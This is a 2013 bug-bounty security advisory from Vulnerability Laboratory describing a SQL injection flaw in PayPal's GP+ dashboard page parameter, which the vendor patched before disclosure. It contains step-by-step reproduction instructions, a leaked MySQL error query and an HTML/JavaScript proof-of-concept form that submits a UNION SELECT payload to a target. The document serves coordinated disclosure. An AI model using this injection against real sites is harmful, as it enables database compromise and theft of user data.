Lucene search

K
vulnerlabVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) Bug Bounty Reward: 3000$VULNERABLE:822
HistoryApr 02, 2013 - 12:00 a.m.

Paypal Bug Bounty #52 - SQL Injection Web Vulnerability

2013-04-0200:00:00
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) Bug Bounty Reward: 3000$
www.vulnerability-lab.com
5
Document Title:
===============
Paypal Bug Bounty #52 - SQL Injection Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=822

PayPal Security UID:  qcm1fe0emw


Release Date:
=============
2013-04-02


Vulnerability Laboratory ID (VL-ID):
====================================
822


Common Vulnerability Scoring System:
====================================
8.3


Product & Service Introduction:
===============================
PayPal offers, both companies and individuals, a simple, quick and innovative solution of receiving money and making payments online. 

In ten years time, this company has become an authority in this market. Online buyers, eBay vendors, online stores and even the 
traditional offline companies. The number of users who trust PayPal with their transactions, continues to grow. 175 million PayPal 
accounts worldwide are certainly proof of that. PayPal uses a unique and extremely advanced system to prevent fraud, which guarantees 
a completely reliable and safe solution for real time payments online.

GP+ objectively analyzes and assesses the quality and  find ablility of online stores and, at the same time, examines the possibilities to avoid
attrition in the sales process. The base of this analysis is formed by: Google, Yahoo! and Microsoft Live, the W3C, Lipperhey in house research,
governments, renowned trade publications, worldwide specialists pool and research done by PayPal into the characteristics of the most successful
online stores worldwide.

(Copy of the Vendor Homepage:  https://www.paypal-gpplus.com/en/about/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote sql injection web vulnerability in the official PayPal GP+ Web Application Service.


Vulnerability Disclosure Timeline:
==================================
2013-01-04:     Researcher Notification & Coordination
2013-01-04:     Vendor Notification
2013-01-11:     Vendor Response/Feedback
2013-02-01:     Vendor Fix/Patch
2013-04-03:     Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
PayPal Inc
Product: GP+ - Application Service 2013 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote SQL Injection vulnerability is detected in the official PayPal GP+ Web Application Service.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute 
own sql commands on the affected application dbms. 

The vulnerability is located in the analysis all review module with the bound vulnerable page id parameter listing. 
The application allows to switch the page after 10 running or done analysis. When a customer is processing to request 
the link to for example page 7 the server will include the integer value not encoded or parsed to the url path. 
Attackers can exchange the integer page with own sql statements to compromise the application dbms and all paypal accounts.

The second problem is the server is bound to the main site auth which allows after a sql and dbms compromise via inject 
to exploit the bound paypal inc services. Attackers can access all database tables and columns to steal the gp+ database 
content and disclose information, deface the website phish account or extract database password/username information.

The vulnerability can be exploited without user inter action but with low privileged application user account to visit the 
restricted webpage with a not expired session. Successful exploitation of the vulnerability results in web application context 
manipulation via dbms injection, website defacement, hijack of database accounts via dbms extract, information disclosure of 
database content, data lost or full dbms compromise.

Vulnerable Section(s):
                                            [+] Analysis (https://www.paypal-gpplus.com/en/dashboard/)

Vulnerable Module(s):
                                            [+] All - Listing (https://www.paypal-gpplus.com/en/dashboard/all/)

Vulnerable Parameter(s):
                                            [+] page id


Proof of Concept (PoC):
=======================
The remote sql injection web vulnerability can be exploited by remote attackers without user interaction and with low privileged 
application user account. For demonstration or reproduce ...

Manually steps to reproduce ...

1.  Register an account for paypal GP+
2.  Login to the account and click in the dashboard the scan new button
3.  Include 10 new urls and let the gp+ system analyse it
4.  Go to the dashboard and open the all analysis section
5.  Scroll down and now the page letter to switch will be visible
6.  Open the link to /dashboard/all/2/
7.  Exchange the integer page id path /2/ with for example /9999999999999999 to provoke an error via not existing webpage
8.  The sql error pops up on the top of the application
9.  Now, the attacker can easily exchange the 999999999 integer path id context with own mysql commands to request database details & columns
10. Successful reproduced ...!

Standard URL: Page ID - Existing
https://www.paypal-gpplus.com/en/dashboard/all/2/

Provoke Error URL: Page ID - Not Exisiting
https://www.paypal-gpplus.com/en/dashboard/all/99999999999999999999999999999999999999999999999999999999999999/

--- SQL Error Exception ---
Query error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the 
right syntax to use near '6.4563604257983E+19, 7' at line 5 - SELECT SQL_CALC_FOUND_ROWS * FROM scans WHERE userid='14619' 
ORDER BY date DESC, time DESC LIMIT 6.4563604257983E+19, 7 Error while running querie; You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '6.4563604257983E+19, 7' at line 5



PoC:

<html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-9">
<title>PAYPAL GP+ => [ANALYSIS ALL] Remote SQL-Injection Vulnerability </title>
<script language="JavaScript">
var path="/en/dashboard/"
var list="all/"
var service ="https://www.paypal-gpplus.com"
var sql = "-99999999'union select 1,2,3,4.../*--/"  				# Exchange with your own statement to inject
function command(){
if (document.rfi.target1.value==""){
alert("Failed..");
return false;
}  
rfi.action= document.rfi.target1.value+path+list+service+sql;
rfi.submit();
}
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// PAYPAL GP+ => [ANALYSiS ALL] - Remote SQL Injection Vulnerability (POC)
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
// VULNERABILITY RESEARCH LABORATORY
// [c]oded by ~BENJAMIN KUNZ MEJRI
//=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
</script></head><body bgcolor="#000000" link="#990000">
<center>
<p align="center"><b><font face="Verdana" size="2" color="#006633">PAYPAL GP+ </font><font face="Verdana" size="2" 
color="#006633"> => [ANALYSIS ALL] Remote SQL-Injection Vulnerability </font>
</b></p>
<form method="post" target="getting" name="rfi" onSubmit="command();"><div align="left">
<p><b><font face="Arial" size="2" color="#006633">VICTIM:</font></b>
<input type="text" name="target1" size="53" style="background-color: #006633" onMouseOver="javascript:this.style.background='#808080';" 

onMouseOut="javascript:this.style.background='#808000';"></p>
<p><b><font face="Arial" size="2" color="#006633">EXAMPLE:</font><font face="Arial" size="2" color="#808080">  HTTP://VULNERABILITY-LAB.COM/[SCRIPT-

PATH]/</font></b></p>
</div>
<p align="left"><input type="submit" value="Execute INPUT" name="B1">
</p><p align="left"><input type="reset" value="Clear ALL" name="B2"></p></form><p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe></p><div align="left">
  <p align="center"><b><font face="Verdana" size="2" color="#CC3333">VULNERABILITY LABORATORY</font></b></p>
  <p align="center"><b><font face="Verdana" size="2" color="#008000"><a href="mailto:[email protected]">~bkm</a></font></b></p>
</div></center></body></html>


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the page parameter request when processing to list via GET method.
Disallow displaying of errors, parse and escape the page input listing > special chars > evil tags > union statements.


Security Risk:
==============
The security risk of the remote sql injection web vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team]  -    Benjamin Kunz Mejri ([email protected])

Bug Bounty Reward: 3000$


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2013 | Vulnerability Laboratory